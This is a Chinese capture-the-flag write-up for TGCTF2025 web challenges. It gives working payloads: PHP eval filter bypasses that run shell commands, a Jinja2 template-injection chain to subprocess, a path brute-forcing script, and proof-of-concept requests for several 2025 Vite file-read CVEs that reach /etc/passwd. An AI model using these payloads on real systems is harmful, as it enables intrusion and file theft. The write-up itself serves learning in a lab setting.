TGCTF2025

这比赛说他好吧,确实让我发现自己的知识点漏洞有多大(哈哈,还是过过的知识点,恨不得给自己一巴掌,差点就可以卷铺盖走人了)。说差,你吗的前端游戏我一直以为题目就是那个错误页面,第二天又开才发现是正常的前端游戏,构式靶机。。。还有一堆莫名其妙的脑洞和对电波环节,有点。。了吧

Web

AAA偷渡阴平

 <?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

一眼无参RCE。。网上随便找个poc过了

?tgctf2025=eval(end(current(get_defined_vars())));&jiang=system('cat /f*');

火眼辩魑魅

robots.txt

User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.phphttp://node1.tgctf.woooo.tech:32484/

我是唇笔所以净喜欢走弯路哈哈。。

明明题面已经说要看哪个了

稍微尝试了一下发现system,passthru这些基本都被ban了

image-20250412143217444

shell=echo `cat /tg*`;

但是赛后看官方WP看红温了哈哈,官方给的是tgxff.php然后用ssti打,说是其他能打出来就是非预期哦,鉴定为史

同时上面这个shell其实直接连都可以。。。算是绕弯了

AAA偷渡阴平(复仇)

ban了无参RCE,但是一样打

<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

poc:

?tgctf2025=session_start();passthru(hex2bin(session_id()));
PHPSESSID=636174202f666c6167

直面天命

先看一眼源码

image-20250413221047192

换hint

image-20250413221120246

。。懒得喷,我直接pt买hint了哈哈

这里贴一下队里师傅的脚本

import requests
import itertools
import string
import time
from concurrent.futures import ThreadPoolExecutor

# 目标网站的基础URL - 使用前请替换为实际目标URL
BASE_URL = "http://node2.tgctf.woooo.tech:32010/"  # 请替换为实际目标URL

# 使用所有26个小写字母
all_letters = string.ascii_lowercase  # 'abcdefghijklmnopqrstuvwxyz'

# 定义测试单个路径的函数


def test_path(path):
    url = BASE_URL + path
    try:
        response = requests.get(url, timeout=3)

        # 根据状态码和响应长度来判断是否找到有效页面
        status = response.status_code
        length = len(response.text)

        # 记录所有非404响应
        if status != 404:
            print(f"[+] 发现: {url} (状态码: {status}, 长度: {length})")

            # 保存发现的路径到文件中
            with open("found_paths.txt", "a") as f:
                f.write(f"{url} (状态码: {status}, 长度: {length})\n")

            # 如果是200状态码,保存响应内容以便检查
            if status == 200:
                with open(f"response_{path}.html", "w", encoding="utf-8") as f:
                    f.write(response.text)

    except requests.exceptions.RequestException as e:
        pass  # 忽略连接错误,继续测试

    return path


# 显示开始信息
print("[*] 开始爆破所有4字母路径...")
print(f"[*] 目标URL: {BASE_URL}")
print(f"[*] 总组合数: {26**4} (这可能需要一些时间)")

# 跟踪进度变量
total_combinations = 26**4  # 可能的4字母组合总数
completed = 0
start_time = time.time()

# 使用多线程加速过程
with ThreadPoolExecutor(max_workers=20) as executor:
    # 生成并测试所有4字母组合
    for combo in itertools.product(all_letters, repeat=4):
        path = ''.join(combo)
        executor.submit(test_path, path)

        # 定期更新进度
        completed += 1
        if completed % 5000 == 0:
            elapsed = time.time() - start_time
            percentage = (completed / total_combinations) * 100
            rate = completed / elapsed if elapsed > 0 else 0
            remaining = (total_combinations - completed) / \
                rate if rate > 0 else 0

            print(f"[*] 进度: {completed}/{total_combinations} ({percentage:.2f}%) - "
                  f"已用时间: {elapsed:.1f}秒 - 预计剩余: {remaining:.1f}秒 - 速度: {rate:.1f}请求/秒")

print("[*] 爆破完成! 查看 'found_paths.txt' 获取结果。")

/aazz

image-20250413221221814

…参…数……?那我问你,参数名是什么,那我问你(也有可能是我没进群所以没看到类似通知的缘故)

反正后面知道是filename(赛后知道这个也是要fuzz出来的),看名字应该就是任意文件读取了

稍微试一下啊

预期应该是抓源码的,结果哈哈

aazz?filename=../../flag

贴一个源码吧

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹

直面天命(复仇)

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

image-20250413215533251

image-20250413215326433

最终paylaod

name=天命()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][-1]['\x5f\x5fsubclasses\x5f\x5f']()[351]('cat ntgffff11111aaaagggggggg',shell=True,stdout=-1).communicate()[0].strip()难违

看队里师傅wp这题是能用fenjing的,有点难绷哈哈

前端游戏(复现)

CVE-2025-30208

/@fs/tgflagggg?import&raw??
/@fs/tgflagggg?raw??

前端游戏Plus (复现)

CVE-2025-31486的复现

是一个任意文件读的漏洞

先贴出poc

/tgflagggg?.svg?.wasm?init

打完之后还尝试了一下打穿一下root

/etc/passwd?.svg?.wasm?init

image-20250415135336099

看了一眼原CVE下的另一个poc

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
#https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x

这个是打不穿的,因为前面目录的名字未知,不好打,贴一下官方WP的POC

@fs/app/?/../../../../../tgflagggg?import&?raw

前端游戏Ultra(复现)

这三个前端的CVE都挺新的

CVE-2025-32395

先贴原漏洞的poc

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
#https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4

这个就是真要猜测路径了哈哈(

幸好给了源码

复现的时候哈基bar应激了,换了bp打image-20250415141634705

不知道为什么官方poc给的是四个套,虽然不影响结果,但是先质疑再质疑哈

顺带看到了另一个相关的CVE,也学习一下算了

CVE-2025-31125

这个洞是利用inline的规则配合.wsam进行绕过(是对第一个CVE的补丁的绕过)

/@fs/C://windows/win.ini?import&inline=1.wasm?init

这边引用一下大佬的解释好了

除了?url和?raw还有一种内联的方法?inline,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init主要用于 WebAssembly(.wasm)文件的初始化,默认只有.wasm支持?init其他如.data、.bin可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤
//原链接https://cloud.tencent.com/developer/article/2513407